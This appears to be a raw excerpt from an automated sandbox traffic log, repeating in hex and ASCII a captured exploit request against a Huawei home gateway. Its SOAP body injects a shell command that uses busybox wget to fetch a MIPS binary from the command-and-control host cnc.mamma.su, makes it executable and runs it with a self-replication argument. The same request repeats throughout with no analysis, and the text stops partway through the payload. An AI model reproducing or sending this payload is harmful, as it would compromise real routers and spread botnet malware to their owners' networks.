68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r 